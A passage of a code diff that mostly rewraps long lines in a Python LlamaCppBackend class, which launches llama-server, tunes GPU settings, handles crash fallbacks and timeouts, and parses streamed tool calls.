self._slot_save_binary = None @@ -7393,8 +7680,12 @@ class LlamaCppBackend: offload_overridden = _extra_args_set_any_flag( extra_args, _GPU_OFFLOAD_OVERRIDE_FLAGS ) - threads_overridden = _extra_args_set_any_flag(extra_args, _THREAD_OVERRIDE_FLAGS) - full_offload_tuning_active = fully_gpu_offloaded and not offload_overridden + threads_overridden = _extra_args_set_any_flag( + extra_args, _THREAD_OVERRIDE_FLAGS + ) + full_offload_tuning_active = ( + fully_gpu_offloaded and not offload_overridden + ) # Thread count: an unset --threads makes llama.cpp pick physical # cores (common_cpu_get_num_math), but an explicit --threads -1 @@ -7505,9 +7796,13 @@ class LlamaCppBackend: ) self._supports_reasoning = flags["supports_reasoning"] self._reasoning_style = flags["reasoning_style"] - self._reasoning_effort_levels = flags.get("reasoning_effort_levels", []) + self._reasoning_effort_levels = flags.get( + "reasoning_effort_levels", [] + ) self._reasoning_always_on = flags["reasoning_always_on"] - self._supports_preserve_thinking = flags["supports_preserve_thinking"] + self._supports_preserve_thinking = flags[ + "supports_preserve_thinking" + ] self._supports_tools = flags["supports_tools"] self._chat_template_file = tempfile.NamedTemporaryFile( @@ -7520,7 +7815,9 @@ class LlamaCppBackend: self._chat_template_file.write(chat_template_override) self._chat_template_file.close() cmd.extend(["--chat-template-file", self._chat_template_file.name]) - logger.info(f"Using custom chat template file: {self._chat_template_file.name}") + logger.info( + f"Using custom chat template file: {self._chat_template_file.name}" + ) # Default thinking mode for reasoning models. Qwen3.5/3.6 below # 9B disable thinking by default; 9B+ enable it. Always-on @@ -7559,7 +7856,9 @@ class LlamaCppBackend: if os.getenv("UNSLOTH_DIRECT_STREAM", "0") == "1": self._api_key = _secrets.token_urlsafe(32) cmd.extend(["--api-key", self._api_key]) - logger.info("llama-server started with --api-key for direct streaming") + logger.info( + "llama-server started with --api-key for direct streaming" + ) else: self._api_key = None @@ -7593,9 +7892,13 @@ class LlamaCppBackend: # validated by the route via validate_extra_args(). if extra_args: cmd.extend(str(a) for a in extra_args) - logger.info(f"Appending user extra args to llama-server: {list(extra_args)}") + logger.info( + f"Appending user extra args to llama-server: {list(extra_args)}" + ) - logger.info(f"Starting llama-server: {' '.join(self._redacted_cmd_for_log(cmd))}") + logger.info( + f"Starting llama-server: {' '.join(self._redacted_cmd_for_log(cmd))}" + ) # Library paths so llama-server finds its shared libs and CUDA DLLs. env = self._llama_server_env_for_binary(binary) @@ -7614,7 +7917,9 @@ class LlamaCppBackend: if not tensor_parallel: # Layer split: clear a non-layer inherited split mode (and any # paired tensor-split) so the child can't override the layer plan. - _inherited_sm = (env.get("LLAMA_ARG_SPLIT_MODE") or "").strip().lower() + _inherited_sm = ( + (env.get("LLAMA_ARG_SPLIT_MODE") or "").strip().lower() + ) if _inherited_sm and _inherited_sm != "layer": env.pop("LLAMA_ARG_SPLIT_MODE", None) env.pop("LLAMA_ARG_TENSOR_SPLIT", None) @@ -7643,13 +7948,19 @@ class LlamaCppBackend: # AMD unified-memory APUs (gfx1150/gfx1151): let llama.cpp use # shared system RAM. setdefault so a user value wins. Not on Vulkan # (nor DC below): gpu_indices are ggml ordinals, not CUDA/ROCm ids. - if not is_vulkan_backend and self._amd_apu_wants_unified_memory(gpu_indices): + if not is_vulkan_backend and self._amd_apu_wants_unified_memory( + gpu_indices + ): env.setdefault("GGML_CUDA_ENABLE_UNIFIED_MEMORY", "1") - logger.info("AMD unified-memory APU: set GGML_CUDA_ENABLE_UNIFIED_MEMORY=1") + logger.info( + "AMD unified-memory APU: set GGML_CUDA_ENABLE_UNIFIED_MEMORY=1" + ) # DC NVIDIA GPUs: FP32 accum (+ P2P / launch queues for multi-GPU). # See _apply_datacenter_env; opt out with UNSLOTH_DISABLE_DC_TUNING=1. - if not is_vulkan_backend and self._apply_datacenter_env(env, gpu_indices): + if not is_vulkan_backend and self._apply_datacenter_env( + env, gpu_indices + ): multi_gpu = self._effective_gpu_count(gpu_indices) > 1 logger.info( f"Data-center GPU detected: applied DC llama.cpp env tuning (multi_gpu={multi_gpu})" @@ -7684,7 +7995,9 @@ class LlamaCppBackend: # default FASTEST_FIRST order (#5025). if gpu_ids: env["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" - self._emit_child_gpu_visibility(env, ",".join(str(i) for i in gpu_indices)) + self._emit_child_gpu_visibility( + env, ",".join(str(i) for i in gpu_indices) + ) elif manual_tensor_split_emitted and not is_vulkan_backend: # A manual per-GPU ratio across ALL GPUs (no explicit pick, so # no CUDA_VISIBLE_DEVICES mask above): the UI built the @@ -7746,7 +8059,9 @@ class LlamaCppBackend: encoding = "utf-8", buffering = 1, ) - logger.info(f"llama-server stdout/stderr -> {self._llama_log_path}") + logger.info( + f"llama-server stdout/stderr -> {self._llama_log_path}" + ) except OSError as e: # Best-effort; never block the load on logging. logger.debug(f"Could not open llama-server log file: {e}") @@ -7771,7 +8086,8 @@ class LlamaCppBackend: if self._wait_for_health(timeout = 600.0): return True _startup_crashed = ( - self._process.poll() is not None and self._process.returncode != 0 + self._process.poll() is not None + and self._process.returncode != 0 ) # A split-axis abort (#6415) is fit-independent: skip the # --fit off retry and let the caller latch it. @@ -7851,7 +8167,9 @@ class LlamaCppBackend: effective_ctx if effective_ctx > 0 else self._context_length ) self._max_context_length = ( - max_available_ctx if max_available_ctx > 0 else self._effective_context_length + max_available_ctx + if max_available_ctx > 0 + else self._effective_context_length ) healthy = _spawn_and_wait(cmd) @@ -7860,11 +8178,17 @@ class LlamaCppBackend: # so its output drops the marker and recording later would miss it, # looping every load. Record and raise to the route's layer fallback, # skipping the futile flash-attn/MTP retries. - if not healthy and self._tensor_parallel and not self._cancel_event.is_set(): + if ( + not healthy + and self._tensor_parallel + and not self._cancel_event.is_set() + ): _ts_out = "\n".join(self._stdout_lines[-50:]) _ts_rc = self._process.poll() if self._process is not None else None if self._should_record_tensor_split_abort(_ts_rc, _ts_out): - LlamaCppBackend._record_tensor_split_abort(binary, model_identifier) + LlamaCppBackend._record_tensor_split_abort( + binary, model_identifier + ) self._kill_process() raise RuntimeError( "llama-server aborted on --split-mode tensor " @@ -7920,7 +8244,9 @@ class LlamaCppBackend: ): # A first-decode hard fault is usually the FA kernel: retry # FA-off (keeps MTP) before dropping speculative decoding below. - _probe_rc = self._process.poll() if self._process is not None else None + _probe_rc = ( + self._process.poll() if self._process is not None else None + ) _fa_cmd = ( self._with_flash_attn_off(_last_spawn_cmd) if self._is_signal_crash(_probe_rc) @@ -7953,7 +8279,11 @@ class LlamaCppBackend: # _requested_spec_mode so a duplicate /load doesn't thrash. The # cancel check stops an /unload-killed attempt respawning. A # decode-probe failure above also routes here. - if not healthy and _spec_requested_mtp and not self._cancel_event.is_set(): + if ( + not healthy + and _spec_requested_mtp + and not self._cancel_event.is_set() + ): # Blame the binary only when the output shows MTP itself # failing (unknown arch / draft or context build); an # unrelated crash (e.g. OOM) gets a neutral message. @@ -7978,9 +8308,7 @@ class LlamaCppBackend: "binary_outdated" if _arch_unsupported else "runtime_error" ) else: - _retry_reason = ( - "retrying without speculative decoding in case MTP is the cause" - ) + _retry_reason = "retrying without speculative decoding in case MTP is the cause" self._spec_fallback_reason = "runtime_error" _drafter = ( Path(launch_mtp_draft_path).name @@ -8012,7 +8340,9 @@ class LlamaCppBackend: if not healthy: out = "\n".join(self._stdout_lines[-50:]) # Read the crash code before _kill_process() clears _process. - _crash_rc = self._process.poll() if self._process is not None else None + _crash_rc = ( + self._process.poll() if self._process is not None else None + ) self._kill_process() # The #6415 split-axis abort is latched earlier (first spawn). # Skip if a cancel/unload is pending (mirrors the MTP guard). @@ -8044,7 +8374,11 @@ class LlamaCppBackend: if not self._wait_for_health(timeout = 600.0): # Read the exit code before _kill_process() clears it, so # an OS-killed text-only retry still gets the OOM message. - _retry_rc = self._process.poll() if self._process is not None else None + _retry_rc = ( + self._process.poll() + if self._process is not None + else None + ) self._kill_process() raise RuntimeError( "Vision projector incompatible with this llama.cpp " @@ -8104,7 +8438,9 @@ class LlamaCppBackend: ) else: self._gpu_offload_active = self._classify_gpu_offload( - gpu_indices is not None or use_fit or gpu_memory_mode == "manual", + gpu_indices is not None + or use_fit + or gpu_memory_mode == "manual", _detected_gpus, ) if self._gpu_offload_active is False and not _deliberate_cpu_only: @@ -8128,7 +8464,9 @@ class LlamaCppBackend: from core.inference.llama_stats import maybe_start_stats_logger if self._stats_logger is not None: self._stats_logger.stop() - self._stats_logger = maybe_start_stats_logger(self.base_url, logger) + self._stats_logger = maybe_start_stats_logger( + self.base_url, logger + ) except Exception as e: logger.debug(f"engine-stats logger not started: {e}") else: @@ -8238,7 +8576,9 @@ class LlamaCppBackend: # The sub-3B regression is an embedded-head cost; a separate drafter # (Gemma) is a cheap standalone model that wins below 3B, so exempt it. _mtp_too_small = ( - _mtp_size_b is not None and _mtp_size_b < _MTP_MIN_SIZE_B and not bool(mtp_draft_path) + _mtp_size_b is not None + and _mtp_size_b < _MTP_MIN_SIZE_B + and not bool(mtp_draft_path) ) # Drafterless Gemma (name-only MTP, no embedded head): emitting MTP # would abort llama-server, so every mode below falls back instead. @@ -8526,7 +8866,9 @@ class LlamaCppBackend: # launched tensor: if load_model downgraded to layer split it scrubbed # the child env, so the env must not force an endless reload of a healthy # server. An identical request would downgrade the same way. - if not _tensor_parallel_matches_loaded(extra_args, tensor_parallel, self._tensor_parallel): + if not _tensor_parallel_matches_loaded( + extra_args, tensor_parallel, self._tensor_parallel + ): return False # Preserved tensor->layer fallback + an EXPLICIT tensor drop: reload so # placement re-selects instead of keeping the all-GPU mask (mirrors the route, @@ -8641,7 +8983,9 @@ class LlamaCppBackend: return classify_gpu_offload_lines(self._stdout_lines) @staticmethod - def _cmd_has_gpu_companion(cmd: list, env: Optional[Mapping[str, str]] = None) -> bool: + def _cmd_has_gpu_companion( + cmd: list, env: Optional[Mapping[str, str]] = None + ) -> bool: """True when the argv/env carries a GPU companion: any --mmproj form, or a drafter (Studio's --model-draft, the extras aliases, or the LLAMA_ARG_SPEC_DRAFT_* env) -- these offload to the GPU regardless of @@ -8654,7 +8998,9 @@ class LlamaCppBackend: return not _extra_args_draft_offloaded_to_cpu(cmd, env) @staticmethod - def _zero_offload_keeps_gpu_visible(cmd: list, env: Optional[Mapping[str, str]] = None) -> bool: + def _zero_offload_keeps_gpu_visible( + cmd: list, env: Optional[Mapping[str, str]] = None + ) -> bool: """Whether a zero-layer launch still has a reason to use visible GPUs. Keep this shared by child masking and post-launch residency bookkeeping: @@ -8668,7 +9014,9 @@ class LlamaCppBackend: ) @staticmethod - def _cmd_has_gpu_device_pin(cmd: list, env: Optional[Mapping[str, str]] = None) -> bool: + def _cmd_has_gpu_device_pin( + cmd: list, env: Optional[Mapping[str, str]] = None + ) -> bool: """True when the effective main or draft ``--device`` pin names a GPU.""" main_flags = {"--device", "-dev"} draft_flags = {"--spec-draft-device", "-devd", "--device-draft"} @@ -8679,7 +9027,9 @@ class LlamaCppBackend: flag, equals, inline = raw.partition("=") if flag not in main_flags and flag not in draft_flags: continue - value = inline if equals else (args[index + 1] if index + 1 < len(args) else "") + value = ( + inline if equals else (args[index + 1] if index + 1 < len(args) else "") + ) if flag in main_flags: last_main = value else: @@ -8690,7 +9040,9 @@ class LlamaCppBackend: def _names_gpu(value: Optional[str]) -> bool: if value is None: return False - devices = [item.strip().lower() for item in value.split(",") if item.strip()] + devices = [ + item.strip().lower() for item in value.split(",") if item.strip() + ] return not devices or any(item not in ("cpu", "none") for item in devices) return _names_gpu(last_main) or _names_gpu(last_draft) @@ -8910,7 +9262,11 @@ class LlamaCppBackend: if sys.platform != "linux": return False try: - if Path(os.readlink(f"/proc/{pid}/exe")).name.lower().startswith("llama-server"): + if ( + Path(os.readlink(f"/proc/{pid}/exe")) + .name.lower() + .startswith("llama-server") + ): return True except OSError: pass @@ -9073,7 +9429,9 @@ class LlamaCppBackend: install_roots: list[Path] = [] # Env-mode custom root (mirrors _find_llama_server_binary). - _resolved_sr, _is_legacy = LlamaCppBackend._resolved_studio_root_and_is_legacy() + _resolved_sr, _is_legacy = ( + LlamaCppBackend._resolved_studio_root_and_is_legacy() + ) _is_custom_root = not _is_legacy if _is_custom_root: install_roots.append(_resolved_sr / "llama.cpp") @@ -9503,9 +9861,13 @@ class LlamaCppBackend: logger.debug(f"slot restore failed: {e}") break if resp.status_code != 200: - logger.debug(f"slot {entry.get('id')} restore returned HTTP {resp.status_code}") + logger.debug( + f"slot {entry.get('id')} restore returned HTTP {resp.status_code}" + ) - def _maybe_recover_from_mtp_crash(self, exc: Optional[BaseException] = None) -> bool: + def _maybe_recover_from_mtp_crash( + self, exc: Optional[BaseException] = None + ) -> bool: """Schedule one background reload without MTP after a mid-generation death. MTP+tensor can crash the flash-attn kernel on a later request, after @@ -9536,7 +9898,9 @@ class LlamaCppBackend: while proc.poll() is None and time.monotonic() < deadline: time.sleep(0.1) if proc.poll() is None: - logger.debug("Generation error but llama-server is alive; keeping MTP.") + logger.debug( + "Generation error but llama-server is alive; keeping MTP." + ) return logger.warning( "llama-server exited mid-generation with MTP under tensor " @@ -9548,10 +9912,14 @@ class LlamaCppBackend: requested_mode = snapshot.get("speculative_type") with self._serial_load_lock: if self._cancel_event.is_set(): - logger.info("MTP-crash reload skipped: load was cancelled/unloaded.") + logger.info( + "MTP-crash reload skipped: load was cancelled/unloaded." + ) return if self._process is not proc: - logger.info("MTP-crash reload skipped: a newer load is already active.") + logger.info( + "MTP-crash reload skipped: a newer load is already active." + ) return if self._last_load_kwargs != snapshot: logger.info("MTP-crash reload skipped: load settings changed.") @@ -9666,7 +10034,9 @@ class LlamaCppBackend: # Leave a marker so _classify_llama_start_failure tells a live but # never-healthy load (too large, or a proxy hijacking the loopback # probe) apart from a bad GGUF (#5740). - self._stdout_lines.append(f"llama-server health check timed out after {timeout}s") + self._stdout_lines.append( + f"llama-server health check timed out after {timeout}s" + ) logger.error(f"llama-server health check timed out after {timeout}s") return False @@ -9736,7 +10106,10 @@ class LlamaCppBackend: actual_n_ctx = self._query_server_n_ctx() if not actual_n_ctx or actual_n_ctx <= 0: return - if self._effective_context_length and actual_n_ctx < self._effective_context_length: + if ( + self._effective_context_length + and actual_n_ctx < self._effective_context_length + ): logger.warning( "llama-server allocated a smaller per-request context than " f"requested ({self._effective_context_length} -> {actual_n_ctx}; " @@ -9764,7 +10137,9 @@ class LlamaCppBackend: ) @staticmethod - def _build_openai_messages(messages: list[dict], image_b64: Optional[str] = None) -> list[dict]: + def _build_openai_messages( + messages: list[dict], image_b64: Optional[str] = None + ) -> list[dict]: """Build OpenAI-format messages, optionally injecting an image_url part into the last user message for vision models. As-is if no image.""" if not image_b64: @@ -9828,7 +10203,9 @@ class LlamaCppBackend: cancel_event: Optional[threading.Event] = None, stall_timeout_s: float = _DEFAULT_STREAM_STALL_TIMEOUT_S, first_token_deadline: Optional[float] = None, - post_first_chunk_read_timeout_s: Optional[float] = _DEFAULT_STREAM_STALL_TIMEOUT_S, + post_first_chunk_read_timeout_s: Optional[ + float + ] = _DEFAULT_STREAM_STALL_TIMEOUT_S, ) -> Generator[str, None, None]: """Iterate a stream while polling cancel and stall timeouts.""" text_iter = response.iter_text() @@ -9843,11 +10220,16 @@ class LlamaCppBackend: if last_chunk_at is None: remaining_s = first_token_deadline - time.monotonic() if remaining_s <= 0: - raise httpx.ReadTimeout("The model did not produce a first token in time.") + raise httpx.ReadTimeout( + "The model did not produce a first token in time." + ) LlamaCppBackend._set_stream_read_timeout(response, remaining_s) chunk = next(text_iter) if chunk: - if last_chunk_at is None and post_first_chunk_read_timeout_s is not None: + if ( + last_chunk_at is None + and post_first_chunk_read_timeout_s is not None + ): LlamaCppBackend._set_stream_read_timeout( response, post_first_chunk_read_timeout_s, @@ -9862,11 +10244,15 @@ class LlamaCppBackend: if now >= first_token_deadline: raise elif now - last_chunk_at >= stall_timeout_s: - raise httpx.ReadTimeout("The model stopped producing tokens mid-response.") + raise httpx.ReadTimeout( + "The model stopped producing tokens mid-response." + ) continue @staticmethod - def _set_stream_read_timeout(response: "httpx.Response", read_timeout_s: float) -> None: + def _set_stream_read_timeout( + response: "httpx.Response", read_timeout_s: float + ) -> None: """Lower only post-header stream reads; keep prefill timeout long.""" try: timeout_ext = response.request.extensions.get("timeout") @@ -9949,7 +10335,9 @@ class LlamaCppBackend: ): live = _live_read_timeout() effective = live if live is not None else timeout - deadline = None if effective is None else time.monotonic() + effective + deadline = ( + None if effective is None else time.monotonic() + effective + ) while True: if cancel_event.is_set(): raise httpcore.ReadError("stream cancelled by user") @@ -10002,13 +10390,17 @@ class LlamaCppBackend: r.close() return except Exception as e: - logger.debug(f"Error closing request in cancel watcher: {e}") + logger.debug( + f"Error closing request in cancel watcher: {e}" + ) _cancel_closed.wait(timeout = 0.1) return watcher = None if cancel_event is not None: - watcher = threading.Thread(target = _cancel_watcher, daemon = True, name = "prefill-cancel") + watcher = threading.Thread( + target = _cancel_watcher, daemon = True, name = "prefill-cancel" + ) watcher.start() try: @@ -10033,7 +10425,9 @@ class LlamaCppBackend: # Portable mid-stream cancel: the reader polls cancel itself, so # Stop interrupts a stalled read where the watcher's Windows socket # shutdown does not. Pass response to honor the live stall timeout. - LlamaCppBackend._install_cancel_aware_read(client, cancel_event, response) + LlamaCppBackend._install_cancel_aware_read( + client, cancel_event, response + ) if cancel_event is not None and cancel_event.is_set(): raise _LlamaStreamCancelled yield response @@ -10329,7 +10723,10 @@ class LlamaCppBackend: {"type": "content", "text": "token"} -- streamed content tokens (cumulative) {"type": "reasoning", "text": "token"} -- streamed reasoning tokens (cumulative) """ - from core.inference.tool_stream_exec import accepts_output_callback, stream_tool_execution + from core.inference.tool_stream_exec import ( + accepts_output_callback, + stream_tool_execution, + ) from core.inference.tools import ( build_rag_autoinject, execute_tool, @@ -10358,9 +10755,13 @@ class LlamaCppBackend: # safe search_knowledge_base tool, so retrieval must still run there. # off never prompts either, so it also keeps first-pass retrieval. _skip_autoinject = ( - confirm_tool_calls and not bypass_permissions and permission_mode not in ("auto", "off") + confirm_tool_calls + and not bypass_permissions + and permission_mode not in ("auto", "off") + ) + _auto = ( + None if _skip_autoinject else build_rag_autoinject(conversation, rag_scope) ) - _auto = None if _skip_autoinject else build_rag_autoinject(conversation, rag_scope) if _auto: for _ev in _auto["events"]: yield _ev @@ -10419,7 +10820,9 @@ class LlamaCppBackend: # segment (a bare ``foo[ARGS]`` before is prose). Rehearsal + markerless # strips are name-gated on the ORIGINAL list (strip/detect aligned). seg = _strip_mistral_closed_calls(segment) - seg = _strip_bracket_tag_calls(seg, enabled_tool_names = _enabled_names_gate) + seg = _strip_bracket_tag_calls( + seg, enabled_tool_names = _enabled_names_gate + ) if is_last: seg = _strip_gemma_wrapperless_calls(seg, _enabled_names_gate) seg = _strip_function_xml_calls(seg, final = is_last) @@ -10429,7 +10832,9 @@ class LlamaCppBackend: seg = pat.sub("", seg) if is_last: seg = apply_tool_strip_patterns( - seg, [_REHEARSAL_TAIL_STRIP_RE], enabled_tool_names = _enabled_names_gate + seg, + [_REHEARSAL_TAIL_STRIP_RE], + enabled_tool_names = _enabled_names_gate, ) return seg @@ -10443,12 +10848,18 @@ class LlamaCppBackend: _fu = _backfill_usage_from_timings(usage, timings) or {} _fp = _fu.get("prompt_tokens", 0) _tc = _fu.get("completion_tokens", 0) + _accumulated_completion_tokens - if not (usage or timings or _accumulated_completion_tokens or finish_reason): + if not ( + usage or timings or _accumulated_completion_tokens or finish_reason + ): return None _mt = dict(timings) if timings else {} if _accumulated_predicted_ms or _accumulated_predicted_n: - _mt["predicted_ms"] = _mt.get("predicted_ms", 0) + _accumulated_predicted_ms - _mt["predicted_n"] = _mt.get("predicted_n", 0) + _accumulated_predicted_n + _mt["predicted_ms"] = ( + _mt.get("predicted_ms", 0) + _accumulated_predicted_ms + ) + _mt["predicted_n"] = ( + _mt.get("predicted_n", 0) + _accumulated_predicted_n + ) if _mt["predicted_ms"] > 0: _mt["predicted_per_second"] = _mt["predicted_n"] / ( _mt["predicted_ms"] / 1000.0 @@ -10490,7 +10901,10 @@ class LlamaCppBackend: return False cumulative_display += "" in_thinking = False - if len(cumulative_display) > len(_last_emitted) and not _suppress_visible_output: + if ( + len(cumulative_display) > len(_last_emitted) + and not _suppress_visible_output + ): _last_emitted = cumulative_display return True return False @@ -10498,7 +10912,9 @@ class LlamaCppBackend: def _looks_like_enabled_bare_json(text: str, enabled_tool_names: set) -> bool: """True when ``text`` opens with an ENABLED markerless bare-JSON call; an ordinary JSON answer returns False.""" probe = strip_llama3_leading_sentinels(text.lstrip()) - if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)): + if not ( + probe.startswith("{") and ('"name"' in probe or '"function"' in probe) + ): return False return strip_leading_bare_json_call(probe, enabled_tool_names) != probe @@ -10510,7 +10926,9 @@ class LlamaCppBackend: def _tool_succeeded(tool_name: str) -> bool: key_prefix = f"{tool_name}:" return any( - record.executed and not record.is_error and record.key.startswith(key_prefix) + record.executed + and not record.is_error + and record.key.startswith(key_prefix) for record in tool_controller.history ) @@ -10624,7 +11042,9 @@ class LlamaCppBackend: _text_args_streamed_upto = -1 _text_args_id = "" _text_args_name = "" - _confirm_gated_iteration = bool(confirm_tool_calls) and not bypass_permissions + _confirm_gated_iteration = ( + bool(confirm_tool_calls) and not bypass_permissions + ) with self._open_stream(url, payload, cancel_event) as ( response, @@ -10696,7 +11116,10 @@ class LlamaCppBackend: # Close the reasoning prefix before the tool card # (mirrors the is_match path). if _close_streamed_think(): - yield {"type": "content", "text": cumulative_display} + yield { + "type": "content", + "text": cumulative_display, + } for tc_d in tc_deltas: idx = tc_d.get("index", 0) if idx not in tool_calls_acc: @@ -10714,21 +11137,28 @@ class LlamaCppBackend: tool_calls_acc[idx]["id"] = tc_d["id"] func = tc_d.get("function", {}) if func.get("name"): - tool_calls_acc[idx]["function"]["name"] += func["name"] + tool_calls_acc[idx]["function"]["name"] += ( + func["name"] + ) if func.get("arguments"): - tool_calls_acc[idx]["function"]["arguments"] += func[ + tool_calls_acc[idx]["function"][ "arguments" - ] - current_name = tool_calls_acc[idx]["function"].get( - "name", "" - ) + ] += func["arguments"] + current_name = tool_calls_acc[idx][ + "function" + ].get("name", "") fallback_id = f"call_{idx}" - current_id = tool_calls_acc[idx].get("id", fallback_id) + current_id = tool_calls_acc[idx].get( + "id", fallback_id + ) already_started = ( current_id in provisional_started_tool_calls ) # Empty/synthetic ids cannot reconcile with real starts. - has_real_id = bool(current_id) and current_id != fallback_id + has_real_id = ( + bool(current_id) + and current_id != fallback_id + ) # Show one early card per eligible streamed tool call. _is_completed_one_shot = ( current_name == "render_html" @@ -10754,7 +11184,9 @@ class LlamaCppBackend: ) # Keep small-argument tools on the normal path. _args_len = len( - tool_calls_acc[idx]["function"].get("arguments", "") + tool_calls_acc[idx]["function"].get( + "arguments", "" + ) ) _payload_is_large = ( current_name == "render_html" @@ -10762,7 +11194,10 @@ class LlamaCppBackend: ) if ( current_name - and (idx == 0 or not disable_parallel_tool_use) + and ( + idx == 0 + or not disable_parallel_tool_use + ) and has_real_id and not already_started and not _is_completed_one_shot @@ -10775,9 +11210,9 @@ class LlamaCppBackend: for tool in active_tools ) ): - provisional_started_tool_calls[current_id] = ( - current_name - ) + provisional_started_tool_calls[ + current_id + ] = current_name yield { "type": "tool_start", "tool_name": current_name, @@ -10791,11 +11226,16 @@ class LlamaCppBackend: # written: first event the backlog, later the fragment. # Display only; accumulator untouched. if current_id in provisional_started_tool_calls: - if current_id not in arg_streamed_tool_call_ids: - arg_streamed_tool_call_ids.add(current_id) - _args_backlog = tool_calls_acc[idx]["function"].get( - "arguments", "" + if ( + current_id + not in arg_streamed_tool_call_ids + ): + arg_streamed_tool_call_ids.add( + current_id ) + _args_backlog = tool_calls_acc[idx][ + "function" + ].get("arguments", "") if _args_backlog: yield { "type": "tool_args", @@ -10843,7 +11283,9 @@ class LlamaCppBackend: and not _reasoning_summary_emitted ): _reasoning_summary_emitted = True - yield _reasoning_summary_event(_reasoning_started_at) + yield _reasoning_summary_event( + _reasoning_started_at + ) has_content_tokens = True content_accum += token @@ -10858,7 +11300,9 @@ class LlamaCppBackend: and _text_args_call_start >= 0 ): if not _text_args_id: - _call_text = content_accum[_text_args_call_start:] + _call_text = content_accum[ + _text_args_call_start: + ] _sniffed = _sniff_text_tool_name( _call_text, _enabled_tool_names ) @@ -10891,8 +11335,13 @@ class LlamaCppBackend: "tool_name": _sniffed, "text": _call_text, } - _text_args_streamed_upto = len(content_accum) - elif len(content_accum) > _text_args_streamed_upto: + _text_args_streamed_upto = len( + content_accum + ) + elif ( + len(content_accum) + > _text_args_streamed_upto + ): yield { "type": "tool_args", "tool_call_id": _text_args_id, @@ -10901,19 +11350,27 @@ class LlamaCppBackend: _text_args_streamed_upto: ], } - _text_args_streamed_upto = len(content_accum) + _text_args_streamed_upto = len( + content_accum + ) elif detect_state == _S_STREAMING: if in_thinking: cumulative_display += "" in_thinking = False cumulative_display += token - cleaned = _strip_tool_markup_streaming(cumulative_display) + cleaned = _strip_tool_markup_streaming( + cumulative_display + ) # Hold a trailing bare active-tool-name (split rehearsal) # until [ARGS] arrives; released by later prose or stream end. - _hold = _held_rehearsal_tail_len(cleaned, _detect_tools) + _hold = _held_rehearsal_tail_len( + cleaned, _detect_tools + ) _emit = ( - cleaned[: len(cleaned) - _hold] if _hold else cleaned + cleaned[: len(cleaned) - _hold] + if _hold + else cleaned ) if len(_emit) > len(_last_emitted): _last_emitted = _emit @@ -10951,7 +11408,10 @@ class LlamaCppBackend: ): is_match = True break - elif sig.startswith("[") and sig in stripped_buf: + elif ( + sig.startswith("[") + and sig in stripped_buf + ): is_match = True break @@ -10961,7 +11421,9 @@ class LlamaCppBackend: if ( not is_match and not is_prefix - and _is_rehearsal_prefix(stripped_buf, _detect_tools) + and _is_rehearsal_prefix( + stripped_buf, _detect_tools + ) ): is_prefix = True is_rehearsal_prefix = True @@ -10973,10 +11435,18 @@ class LlamaCppBackend: # Whole buffer is the call (no visible prefix) -- drain silently. _drain_silently = False if not is_match and not is_prefix: - _bare = strip_llama3_leading_sentinels(stripped_buf) + _bare = strip_llama3_leading_sentinels( + stripped_buf + ) if _bare.startswith("{"): - if _balanced_brace_end(_bare, 0) is None: - if len(stripped_buf) < _MAX_BARE_JSON_BUFFER: + if ( + _balanced_brace_end(_bare, 0) + is None + ): + if ( + len(stripped_buf) + < _MAX_BARE_JSON_BUFFER + ): _hold_buffer = True elif _looks_like_enabled_bare_json( _bare, _enabled_tool_names @@ -10993,14 +11463,22 @@ class LlamaCppBackend: _drain_silently = True elif ( "call:".startswith(stripped_buf) - or _GEMMA_BARE_TC_PREFIX_RE.match(stripped_buf) + or _GEMMA_BARE_TC_PREFIX_RE.match( + stripped_buf + ) + is not None + or _GEMMA_BARE_TC_RE.match(stripped_buf) is not None - or _GEMMA_BARE_TC_RE.match(stripped_buf) is not None ): # Whitespace-tolerant like the parser. - if _GEMMA_BARE_TC_RE.match(stripped_buf): + if _GEMMA_BARE_TC_RE.match( + stripped_buf + ): _drain_silently = True - elif len(stripped_buf) < _MAX_BUFFER_CHARS: + elif ( + len(stripped_buf) + < _MAX_BUFFER_CHARS + ): _hold_buffer = True if _drain_silently: @@ -11010,9 +11488,9 @@ class LlamaCppBackend: detect_state = _S_DRAINING # Call text begins at the held buffer # (live arg display only; UI extracts the code). - _text_args_call_start = len(content_accum) - len( - content_buffer - ) + _text_args_call_start = len( + content_accum + ) - len(content_buffer) if _close_streamed_think(): yield { "type": "content", @@ -11042,9 +11520,9 @@ class LlamaCppBackend: detect_state = _S_DRAINING # Live-arg display starts at the held buffer # (visible prefix flushed above; UI extracts the code). - _text_args_call_start = len(content_accum) - len( - content_buffer - ) + _text_args_call_start = len( + content_accum + ) - len(content_buffer) elif _hold_buffer or ( is_prefix and ( @@ -11066,7 +11544,9 @@ class LlamaCppBackend: ) # Same trailing-name hold as STREAMING for this # first flush out of BUFFERING. - _hold = _held_rehearsal_tail_len(cleaned, _detect_tools) + _hold = _held_rehearsal_tail_len( + cleaned, _detect_tools + ) _emit = ( cleaned[: len(cleaned) - _hold] if _hold @@ -11081,7 +11561,9 @@ class LlamaCppBackend: } except json.JSONDecodeError: - logger.debug(f"Skipping malformed SSE line: {line[:100]}") + logger.debug( + f"Skipping malformed SSE line: {line[:100]}" + ) if _stream_done: break # exit outer for @@ -11118,7 +11600,10 @@ class LlamaCppBackend: # Reasoning-only reply: show it as the main response, # not a thinking block (mirrors the no-tool path; the # route's extractor closes the streamed ). - if _reasoning_started_at is not None and not _reasoning_summary_emitted: + if ( + _reasoning_started_at is not None + and not _reasoning_summary_emitted + ): _reasoning_summary_emitted = True yield _reasoning_summary_event(_reasoning_started_at) cumulative_display = reasoning_accum @@ -11189,10 +11674,15 @@ class LlamaCppBackend: available_tool_names = [ (tool.get("function") or {}).get("name") for tool in active_tools - if isinstance(tool, dict) and isinstance(tool.get("function"), dict) + if isinstance(tool, dict) + and isinstance(tool.get("function"), dict) ] - available_tool_names = [name for name in available_tool_names if name] - tool_hint = " or ".join(available_tool_names) or "an available tool" + available_tool_names = [ + name for name in available_tool_names if name + ] + tool_hint = ( + " or ".join(available_tool_names) or "an available tool" + ) _forced_tool_call_pending = True conversation.append( { @@ -11201,8 +11691,13 @@ class LlamaCppBackend: } ) # Accumulate tokens and timing from this iteration. - _fu_r = _backfill_usage_from_timings(_iter_usage, _iter_timings) or {} - _accumulated_completion_tokens += _fu_r.get("completion_tokens", 0) + _fu_r = ( + _backfill_usage_from_timings(_iter_usage, _iter_timings) + or {} + ) + _accumulated_completion_tokens += _fu_r.get( + "completion_tokens", 0 + ) _it_r = _iter_timings or {} _accumulated_predicted_ms += 